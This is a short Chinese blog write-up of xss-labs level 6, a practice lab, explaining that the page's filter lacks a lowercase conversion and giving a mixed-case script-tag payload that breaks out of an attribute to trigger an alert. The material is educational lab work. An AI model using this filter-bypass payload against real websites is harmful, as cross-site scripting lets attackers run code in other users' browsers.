1.直接查看源码
发现没有使用strtolower()函数进行转换为小写
2.那么很简单，大小写绕过就好了
payload:
" ><sCRipt>alert('XSS')</sCript>
xss-labs level 6
管理员
2020-03-11 PM
255℃
3条
非特殊说明，本博所有文章均为博主原创。
如若转载，请注明出处：http://0verflow.cn/index.php/archives/1687/
上一篇
xss-labs level 5
下一篇
xss-labs level 7
[…] xss-labs level 6 […]
1
1